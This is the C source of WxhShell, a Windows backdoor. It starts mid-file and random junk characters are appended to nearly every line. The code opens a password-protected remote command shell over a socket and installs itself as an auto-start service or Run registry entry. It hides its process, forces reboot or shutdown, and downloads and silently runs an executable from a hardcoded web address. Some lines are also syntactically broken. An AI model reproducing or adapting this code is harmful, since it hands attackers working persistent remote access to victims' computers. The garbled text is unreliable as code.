    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4C/G &w&  
    else { d a<>a  
    closesocket(wsh); (n`] sbx  
    ExitThread(0); )(0if0D4  
    } `Fie'[F5,)  
    break; `JO>g=,4  
    } DQ(0:r  
  // 获取shell 7Xx3s@  
  case 's': { n]df)a  
    CmdShell(wsh); "iTjiH)Q(  
    closesocket(wsh); <8(=Lv`)q  
    ExitThread(0); 4GbfA .u  
    break; Y?TS,   
  } @Ddz|4vEi  
  // 退出 Mgr?D  
  case 'x': { <rtKPlb//  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /jNvHo^B  
    CloseIt(wsh); tL3R<'  
    break; E*O($tS  
    } `6)(Fk--"  
  // 离开 )X-'Q-  
  case 'q': { 8t Q;N'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); XwUa|"X6  
    closesocket(wsh); ?r KbL^2  
    WSACleanup(); 10fxK  
    exit(1); d7Vp^^}(  
    break; U$mDAi$  
        } hw,nA2w\  
  } Vm|KL3}NRv  
  } G<M0KU (  
hs[x\:})/  
  // 提示信息 bn )1G$0|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q66 +  
} eT+i &  
  } yI1 :L -  
T? Kh '  
  return; 1^LdYO?g'  
} ("\{=XA Q  
Ie(i1?`A8  
// shell模块句柄 vP x/&x  
int CmdShell(SOCKET sock) ~v%6*9  
{ ?V,q&=9  
STARTUPINFO si; K fD. J)  
ZeroMemory(&si,sizeof(si)); Ly&+m+Gwu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?<${?L>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @QV0l]H0+  
PROCESS_INFORMATION ProcessInfo; *#'j0;2F  
char cmdline[]="cmd"; tBbOxMm0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PQDLbSe)\  
  return 0;  +=jS!  
} Bhxs(NO  
?OLd }8y  
// 自身启动模式 W?5')  
int StartFromService(void) Ux7LN @4og  
{ Ez;Qo8  
typedef struct JD#x+~pb,8  
{ [EDX@Kdq)  
  DWORD ExitStatus; #h?I oB7  
  DWORD PebBaseAddress; S7)qq  
  DWORD AffinityMask; JcWp14~e  
  DWORD BasePriority; ao2^3e  
  ULONG UniqueProcessId; nS04Ha  
  ULONG InheritedFromUniqueProcessId; iqvLu{  
}   PROCESS_BASIC_INFORMATION; S[1<Qrv]  
hE|P|0U,n  
PROCNTQSIP NtQueryInformationProcess; .Q%Hi7JMi  
=..Bh8P71!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; aOH|[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^K;k4oK  
EY)2,  
  HANDLE             hProcess; ZU73UL  
  PROCESS_BASIC_INFORMATION pbi; H:@hCO[a  
5Jbwl$mZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8cG?p  
  if(NULL == hInst ) return 0; hI'WfF!X  
=0pt-FQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BB6[(Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z^_qXerjP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T&lgWOls  
%rylmioW>  
  if (!NtQueryInformationProcess) return 0; 053bM)qW  
itg_+%^R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rP:g`?*V  
  if(!hProcess) return 0; (-gomn  
U05;qKgkDF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {V6&((E8  
,X.[37  
  CloseHandle(hProcess); p?i.<Z  
8:$h&aBI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eX+36VG\  
if(hProcess==NULL) return 0; vN Bg&m  
(9Zvr4.f7  
HMODULE hMod; J!2Z9<q5  
char procName[255]; i>YS%&O?  
unsigned long cbNeeded; e$Ksn_wEq  
BS9VwG <Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PMfW;%I.  
4yyw:"  
  CloseHandle(hProcess); JT?u[p Q^  
d=D-s  
if(strstr(procName,"services")) return 1; // 以服务启动 IrMH AM5K  
 >Uw:cq  
  return 0; // 注册表启动 )0VL$A  
} 'z ?Hv  
x4WCAqi/2  
// 主模块 cUY-  
int StartWxhshell(LPSTR lpCmdLine) iFd !ED  
{ { ADd[V  
  SOCKET wsl; 'z$$ZEz!C  
BOOL val=TRUE; F\m^slsu7=  
  int port=0; =Hg!@5]H  
  struct sockaddr_in door; mtmC,jnD  
<tD,Uu{P  
  if(wscfg.ws_autoins) Install(); O] @E8<?^  
j'D%eQI,V  
port=atoi(lpCmdLine); WXy8<?s  
~*HQPp?v  
if(port<=0) port=wscfg.ws_port; w"j>^#8  
|V a:*3u  
  WSADATA data; 'Aq^z%|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P([!psgu  
5#GMp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kelBqJ-,p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j%6p:wDl  
  door.sin_family = AF_INET; ]SQ+r*a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fx;rMGa  
  door.sin_port = htons(port); )x6 &Y  
t7f(%/] H0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { > Vm}u`x  
closesocket(wsl); "wgPPop  
return 1; M+ +Dk7B  
} EtcT:k?y  
cibl j?"Wi  
  if(listen(wsl,2) == INVALID_SOCKET) { |p:4s"NT  
closesocket(wsl); bf_ > ?F^  
return 1; t%:7W[_s  
} P T;{U<5  
  Wxhshell(wsl); 3"h*L8No  
  WSACleanup(); ~<[+!&<U  
=-r"@2HBq  
return 0; 0Y8gUpe3P6  
$gl|^c\  
} zG9FO/@av  
cXq9k!I%  
// 以NT服务方式启动 L^JU{\C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QLJ\>  
{ ]64Pk9z=  
DWORD   status = 0; tx09B)0  
  DWORD   specificError = 0xfffffff; ji/`OS-iq  
}F>RI jj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %3`*)cp@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k8s)PN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2xNR=u`  
  serviceStatus.dwWin32ExitCode     = 0; o@)Fy51DD  
  serviceStatus.dwServiceSpecificExitCode = 0; Qw0k-t0=4  
  serviceStatus.dwCheckPoint       = 0; Cff6EE  
  serviceStatus.dwWaitHint       = 0; j,OA>{-$  
d]E=w6 +;Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  .\oz  
  if (hServiceStatusHandle==0) return; Ic'D# m  
G#%Sokkb'  
status = GetLastError(); & DP"RWT/  
  if (status!=NO_ERROR) Oe Q[-e  
{ -HF?1c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k6#$Nb606  
    serviceStatus.dwCheckPoint       = 0; e|tx`yA  
    serviceStatus.dwWaitHint       = 0; 7m#EqF$P  
    serviceStatus.dwWin32ExitCode     = status; E-WpsNJ)X  
    serviceStatus.dwServiceSpecificExitCode = specificError; lf=G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); EB3/o7)L  
    return; f&vMv.  
  } !KI^Z1dP(  
Fg`<uW]TFZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p*<Jg l  
  serviceStatus.dwCheckPoint       = 0; /we]i1-9  
  serviceStatus.dwWaitHint       = 0; -53c0g@X  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =X'[r  
} ~i1 jh:,  
#ft9ms#N  
// 处理NT服务事件,比如:启动、停止 Qb {[xmc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G8}owszT  
{ - +a,Ej  
switch(fdwControl) iQO4IT   
{ "~VKUvDu  
case SERVICE_CONTROL_STOP: T={!/y+  
  serviceStatus.dwWin32ExitCode = 0; k~ )CJ6}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !60U^\  
  serviceStatus.dwCheckPoint   = 0; ndFVP;q  
  serviceStatus.dwWaitHint     = 0; "M:ui0YP  
  { \`y:#N<c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N8nt2r<h  
  } UlWmf{1%]?  
  return; >,,`7%Rv  
case SERVICE_CONTROL_PAUSE: Ar)EbGId  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |Ua);B~F  
  break; _)j\ b  
case SERVICE_CONTROL_CONTINUE: JL {H3r&/S  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {+lU4u  
  break; s17)zi,?4  
case SERVICE_CONTROL_INTERROGATE: "`;-5dg  
  break; LGc8w>qE  
}; ]\rQ{No  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]EK(k7nH  
} .c>6}:ye  
9 m8KDB[N  
// 标准应用程序主函数 * K$ U[$s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *-ys}sX  
{ T @^ S:K  
%f<>Kwr`2  
// 获取操作系统版本 2=?3MXcjy  
OsIsNt=GetOsVer(); fln[Q2zl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w7` pbcY,  
S0StC$$1  
  // 从命令行安装 /,S VG1  
  if(strpbrk(lpCmdLine,"iI")) Install(); qUfoEpW2=6  
GLIY!BU<C  
  // 下载执行文件 )&E]   
if(wscfg.ws_downexe) {  3*Q=)}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yMdu Zmkc  
  WinExec(wscfg.ws_filenam,SW_HIDE); dA~_[x:Z  
} u"zR_CzYc  
%KVmpWku  
if(!OsIsNt) { ]-t>F  
// 如果时win9x,隐藏进程并且设置为注册表启动 b~UWFX#U  
HideProc(); kB?/_a`]  
StartWxhshell(lpCmdLine); 1>[#./@  
} Ep(xlHTv  
else ?<F([(  
  if(StartFromService()) &IXmy-w  
  // 以服务方式启动 7#wB  
  StartServiceCtrlDispatcher(DispatchTable); yT:2*sZRc  
else WZ`i\s1#  
  // 普通方式启动 gaC4u,Zb  
  StartWxhshell(lpCmdLine); R1 SFMI   
n;Mk\*Cg  
return 0; 4"|3pMr  
} T}{zh  
y_>DszRN`u  
=?W7OV^BE  
i\;ZEM{  
=========================================== Y'000#+  
:ek^M (  
y =sae  
Lios1|5  
..Dm@m}  
/&\ V6=jA1  
" Pm#/j;  
)a0l:jEOc  
#include <stdio.h> ;HAvor=?  
#include <string.h> Q\zaa9P  
#include <windows.h> %7 -(c  
#include <winsock2.h> hlre eXv  
#include <winsvc.h> )n"0:"Ou  
#include <urlmon.h> 2u-J+  
.h4NG4FIF  
#pragma comment (lib, "Ws2_32.lib") ,){#J"W  
#pragma comment (lib, "urlmon.lib") X*MK(aV3  
Z^Um\f   
#define MAX_USER   100 // 最大客户端连接数 Z796;qk  
#define BUF_SOCK   200 // sock buffer u[KxI9Q  
#define KEY_BUFF   255 // 输入 buffer >VZxDJ$R  
v .*fJ   
#define REBOOT     0   // 重启 $@kOMT  
#define SHUTDOWN   1   // 关机 Vo^J2[U  
#|8%h  
#define DEF_PORT   5000 // 监听端口 vCej( ))  
59$PWfi-\  
#define REG_LEN     16   // 注册表键长度 ?7pn%_S  
#define SVC_LEN     80   // NT服务名长度 > dVhIbG  
~-NSIV:f  
// 从dll定义API yp4[EqME  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p& $PsgR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L8n?F#q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @r[SqGa:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mW{uChHP  
$,O8SW.O$  
// wxhshell配置信息 &\ca ? #  
struct WSCFG { ]#DCO8Vk  
  int ws_port;         // 监听端口 u(yN81  
  char ws_passstr[REG_LEN]; // 口令 5nBJj  
  int ws_autoins;       // 安装标记, 1=yes 0=no )2wf D  
  char ws_regname[REG_LEN]; // 注册表键名 "5dke^yk0  
  char ws_svcname[REG_LEN]; // 服务名 CB-;Jqb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A`M-N<T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :FU?vh$)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !w UznyYwt  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .|u`s,\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \ :s%;s51  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \z6UWZ  
d 4tL  
}; !0? B=yA  
byE0Z vDM  
// default Wxhshell configuration pam9wfP  
struct WSCFG wscfg={DEF_PORT, "0nsYE  
    "xuhuanlingzhe", qT$IV\;_  
    1, yogL8V-^4  
    "Wxhshell", *w. ":\P]  
    "Wxhshell", ,]yS BAO  
            "WxhShell Service", \"RCJadK  
    "Wrsky Windows CmdShell Service", eD(5+bm  
    "Please Input Your Password: ", <z%**gP~G  
  1, &-o5lrq  
  "http://www.wrsky.com/wxhshell.exe", lb9?Uc@  
  "Wxhshell.exe" #J3}H   
    }; irm4lb5  
Q jXJo$I6  
// 消息定义模块 *k#"@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $Bncdf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z.SKawm6T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N;YFr  
char *msg_ws_ext="\n\rExit."; fsK=]~<g  
char *msg_ws_end="\n\rQuit."; {5  pK8  
char *msg_ws_boot="\n\rReboot..."; @",#'eC"  
char *msg_ws_poff="\n\rShutdown..."; fQ1j@{Xa  
char *msg_ws_down="\n\rSave to "; R=a4zVQ  
6^J[SQ6P  
char *msg_ws_err="\n\rErr!"; !^y;|9?O  
char *msg_ws_ok="\n\rOK!"; -3? <Ja  
(x/:j*`K  
char ExeFile[MAX_PATH]; un!v1g9O  
int nUser = 0; !pRu?5  
HANDLE handles[MAX_USER]; wmVb0~[  
int OsIsNt; Q[#8ErUY  
3f^jy(  
SERVICE_STATUS       serviceStatus; *^g]QQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F4-rPv  
stfniV  
// 函数声明 V&ETt.91Ft  
int Install(void); u"oO._a(  
int Uninstall(void); e(^I.`9z  
int DownloadFile(char *sURL, SOCKET wsh); MC,Qv9m  
int Boot(int flag); u/|@iWK:  
void HideProc(void); b'SP,}s5"  
int GetOsVer(void); Kv1~,j6  
int Wxhshell(SOCKET wsl); zRLJ|ejMP  
void TalkWithClient(void *cs); uUx7>algF  
int CmdShell(SOCKET sock); >G"fMOOkW  
int StartFromService(void); IQC[ewk  
int StartWxhshell(LPSTR lpCmdLine); S-\wX.`R1  
FsO-xG"@"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KI#v<4C$P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); C4PT(cezR  
5Hj/7~ =  
// 数据结构和表定义 R!/JZ@au<  
SERVICE_TABLE_ENTRY DispatchTable[] = 4P)#\$d:  
{  ? .SiT5  
{wscfg.ws_svcname, NTServiceMain}, ]D5Maid+  
{NULL, NULL} bWb/>hI8 Q  
}; t {1 [Ip  
w+j\Py_G"  
// 自我安装 2.Ww(`swL  
int Install(void) <G<5)$ S  
{ uSI@Cjp  
  char svExeFile[MAX_PATH]; Y R~e_cA:  
  HKEY key; :ln| n6X  
  strcpy(svExeFile,ExeFile); 3  ;F  
F[O147&C  
// 如果是win9x系统,修改注册表设为自启动 ,)d`_AD+5  
if(!OsIsNt) { ,KM%/;1Dm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ` W );+s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  r90tXx  
  RegCloseKey(key); `EMGrw_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \fC;b"j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bG"FN/vg  
  RegCloseKey(key); O SUiS`k  
  return 0; '^WR5P<8c  
    } c-NUD$  
  } &@{`{  
} dVMl;{  
else { Ca?w"m~h  
W[`ybGR<  
// 如果是NT以上系统,安装为系统服务 (>u1O V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ND?"1/s  
if (schSCManager!=0) E]&N'+T  
{ %nq<nfDT  
  SC_HANDLE schService = CreateService 2P'Vp7f6 Y  
  ( :+QNN<  
  schSCManager, .j,xh )v"  
  wscfg.ws_svcname, fk?!0M6d  
  wscfg.ws_svcdisp, X1}M_h %  
  SERVICE_ALL_ACCESS, <W3p!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "38<14V  
  SERVICE_AUTO_START, 6ZI7V!k  
  SERVICE_ERROR_NORMAL, gU&+^e >  
  svExeFile, 2<n 18-|OQ  
  NULL, OPq|4xu  
  NULL, ,-EN{ed  
  NULL, Z|UVH  
  NULL, *wmkcifF;  
  NULL nIBeZof  
  ); qA!4\v={  
  if (schService!=0) {df;R|8 l  
  { ?Q=(?yR0]  
  CloseServiceHandle(schService); am.d^'  
  CloseServiceHandle(schSCManager); ;}S_PnwC@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k 75 p  
  strcat(svExeFile,wscfg.ws_svcname); 6 mLC{X[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =&"pG` x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @%u}|iF|  
  RegCloseKey(key); ?uTuO  
  return 0; ph(LsPT-  
    } q0>9T  
  } `l?MmIJ  
  CloseServiceHandle(schSCManager); e'G3\h}#  
} I;_T_m4.q  
} >#mKM%T2MJ  
RYC%;h  
return 1; OraT$lV)_  
} buzpmRoN)  
'CqAjlj  
// 自我卸载 k)F!gV#  
int Uninstall(void) r/ATZAgHP  
{ " @ ""  
  HKEY key; ^qC.bv]&  
75R4[C6T  
if(!OsIsNt) { og+Vrd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mGP%"R2X  
  RegDeleteValue(key,wscfg.ws_regname); Bw`?zd\*  
  RegCloseKey(key); lc fAb@}2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (?XIhpd  
  RegDeleteValue(key,wscfg.ws_regname); !7#*Wdt+P  
  RegCloseKey(key); ]CS N7Q+l  
  return 0; u}R|q  
  } MxGQM>  
} a>8] +@  
} d^IX(y*$  
else { v\!Cq+lFML  
Edh9=sxL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {nA+-=T  
if (schSCManager!=0) ~KGE(o4p  
{ "k [$euV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Wx;%W"a  
  if (schService!=0) fIx|0,D&7L  
  { h;} fdk  
  if(DeleteService(schService)!=0) { ZZ!6O/M  
  CloseServiceHandle(schService); \KpJIHkBRy  
  CloseServiceHandle(schSCManager); <$uDN].T4  
  return 0; si]MQ\i+  
  } v/]xdP^Z  
  CloseServiceHandle(schService); Y@ ;/Sf$Q  
  } qB$QC  
  CloseServiceHandle(schSCManager); |4aU&OX  
} 5f@&XwD9  
} 9 s2z=^  
FRPdfo37  
return 1; TDP Q+Kg_  
} /N/jwLr  
@wAYhnxq  
// 从指定url下载文件 k-s|gC4  
int DownloadFile(char *sURL, SOCKET wsh) cqZ lpm$c  
{ 7I(QTc)*  
  HRESULT hr; <Z]j89wzDZ  
char seps[]= "/"; ep48 r>  
char *token; | z}VP-L  
char *file; .bh 7  
char myURL[MAX_PATH]; 2Z^p)  
char myFILE[MAX_PATH]; Gh{9nM_\"  
@frV:%  
strcpy(myURL,sURL); Opy{i#>  
  token=strtok(myURL,seps); 5PpS/I:on  
  while(token!=NULL) 3v#F0s|  
  { jM{5nRQ  
    file=token; 4|eI_u{_  
  token=strtok(NULL,seps); @Y9tkJIt  
  } 5wvh @Sc\  
9Z 6  
GetCurrentDirectory(MAX_PATH,myFILE); (8W ?ym  
strcat(myFILE, "\\"); pF~aR]Q  
strcat(myFILE, file); }.=wQ_  
  send(wsh,myFILE,strlen(myFILE),0); R >[G6LOG  
send(wsh,"...",3,0); OCqknA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5HAAaI  
  if(hr==S_OK) /b4>0DXT5  
return 0; -"N vu  
else X1u\si%.4S  
return 1; &,/-<y-S  
1F2(MKOo!  
} {ueDwnZ  
4>HQ2S{t  
// 系统电源模块 O6q5qA  
int Boot(int flag) VF<VyWFC0`  
{ R\6dvd  
  HANDLE hToken; #N97  
  TOKEN_PRIVILEGES tkp; _w5c-\-PUM  
`RE K,^U  
  if(OsIsNt) { q(#,X~0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u~N'UD1x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #K> Ue>hx  
    tkp.PrivilegeCount = 1; \/m-G:|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >8`;SEnv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P!&yYR\  
if(flag==REBOOT) { S*ie$}ZX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =}+xD|T  
  return 0; WZbRR.TxO  
} U'}[:h~)  
else { leXdxpc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VW] ,R1q  
  return 0; Ivq|-LDNc  
} /5f=a  
  } 9J}^{AA  
  else { *>lXCx  
if(flag==REBOOT) { 8tT/w5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Qz<i{r-z  
  return 0; #J$z0%P  
} .  
else { P[,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -}>H3hr  
  return 0; ;l@Ge`&u  
} wr6(C:  
} \%#luk@:  
R8j\CiV17  
return 1; gYw=Z_z  
} t1o_x}z4.  
)},/=#C0  
// win9x进程隐藏模块 o~'UWU'#  
void HideProc(void) xI5zP? _v  
{ X/S%0AwZ  
`6*1mE1K&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sFRQFX0XoY  
  if ( hKernel != NULL ) l27J  
  { ((fFe8Rn)q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }pT>dbZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <'P+2(Oi  
    FreeLibrary(hKernel); B,{Q[  
  } [g lhru=+  
3=^B &AB  
return; v *@R U  
} kE{-h'xADD  
K=J">^uW  
// 获取操作系统版本 3TT?GgQ  
int GetOsVer(void) fj y2\J!  
{ \'P79=AU  
  OSVERSIONINFO winfo; u< 5{H='6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?Aky!43  
  GetVersionEx(&winfo); ue!wo-|#G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q~)A fa{  
  return 1; 'u%SI]*;>  
  else '&iAPc4=  
  return 0; ']>/$[!  
} xbze{9n"  
:h<QM$P<  
// 客户端句柄模块 ju/#V}N  
int Wxhshell(SOCKET wsl) "l-b(8n  
{ T:w%RF[v9  
  SOCKET wsh; 5G WC  
  struct sockaddr_in client; DcNwtts  
  DWORD myID; +2^Mz&I@b  
vb]H $@0  
  while(nUser<MAX_USER) 2P VQSwW:  
{ esHcE{GNOS  
  int nSize=sizeof(client); TZE;$:1vx>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +(o]E3  
  if(wsh==INVALID_SOCKET) return 1; T=T1?@2C  
20BU;D3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Wg=4`&F^  
if(handles[nUser]==0) bqm%@*fZo  
  closesocket(wsh); ne'Y{n(8%  
else Znh) m  
  nUser++; jH]?vpP  
  } )E=~ _`XO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a^Lo;kHY  
3rVWehCv  
  return 0; ,Zs*07!$f  
} P&9&/0r=_  
t p3 !6I6  
// 关闭 socket Q`(h  
void CloseIt(SOCKET wsh) E9PD1ADR  
{ :pg]0X;  
closesocket(wsh); } !RBH(m%  
nUser--; xSZ+6R|  
ExitThread(0); ]s^Pw>/`  
} JI[9c,N  
mu&%ph=  
// 客户端请求句柄 sWX\/Iyy2p  
void TalkWithClient(void *cs) @hIHvLpRB  
{ f-a+&DB9  
h<IPV'1  
  SOCKET wsh=(SOCKET)cs; [5s4Jp$+  
  char pwd[SVC_LEN]; y@u,Mv  
  char cmd[KEY_BUFF]; jmh$6 N% F  
char chr[1]; =9cN{&qf  
int i,j; s_Gf7uC  
b0lZb'  
  while (nUser < MAX_USER) { w]Z:Y`  
" )/febBS  
if(wscfg.ws_passstr) { 0N4+6k|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cXG$zwS\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,lr\XhO  
  //ZeroMemory(pwd,KEY_BUFF); +C ){&/=#  
      i=0; 3eJ"7sftW  
  while(i<SVC_LEN) { !O*uQB  
$ jgEB+  
  // 设置超时 4]%v%6 4U  
  fd_set FdRead; >.f'_2#Z&  
  struct timeval TimeOut; *HXx;:  
  FD_ZERO(&FdRead); rk .tLk  
  FD_SET(wsh,&FdRead); -|nHwSrCZ/  
  TimeOut.tv_sec=8; M|uWSG  
  TimeOut.tv_usec=0; R`!'c(V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J}37 9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K1*]6x,  
c 6Z\ecH9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :Vl2\H=P  
  pwd=chr[0]; Y<EdFzle  
  if(chr[0]==0xd || chr[0]==0xa) { z]O,Vqpl?  
  pwd=0; P{_Xg,Z  
  break; 47 *,  
  } >xJh!w<pB  
  i++; La#otuw+?  
    } b Q6<R4  
Jt}0%C3d  
  // 如果是非法用户,关闭 socket UpIt"+d2&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VwxLElV  
} `oUuAL  
VL O !hA#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -^+!:0';  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^wm>\o;  
uy^vQ/  
while(1) { u#uT|a.  
c[QXc9  
  ZeroMemory(cmd,KEY_BUFF); 8#&axg?a  
#\X="' /  
      // 自动支持客户端 telnet标准   Yl!~w:O!o  
  j=0; + IpC  
  while(j<KEY_BUFF) { xesZ 7{ o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \vQjTM-7  
  cmd[j]=chr[0]; v;m}<3@'  
  if(chr[0]==0xa || chr[0]==0xd) { tjIT4  
  cmd[j]=0; cun&'JOH?U  
  break; d5O_~x f&  
  } JL1z8Nu  
  j++; @CJ`T&  
    } &>]c"?C*  
$xl>YYEBMH  
  // 下载文件 -lNq.pp3-$  
  if(strstr(cmd,"http://")) { wmQT$`$b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); eXdE?j  
  if(DownloadFile(cmd,wsh)) #-*#? -  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); '!wI8f  
  else 2iJ)K rw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :g`j gn 0  
  } (ndTEnpp  
  else { L~PBD?l  
'q_^28rK  
    switch(cmd[0]) { O ^+H:Y|  
  { #,eD  
  // 帮助 }+{ ? Ms  
  case '?': { z9B" "ws  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hN3*]s;/6z  
    break; knsTy0]  
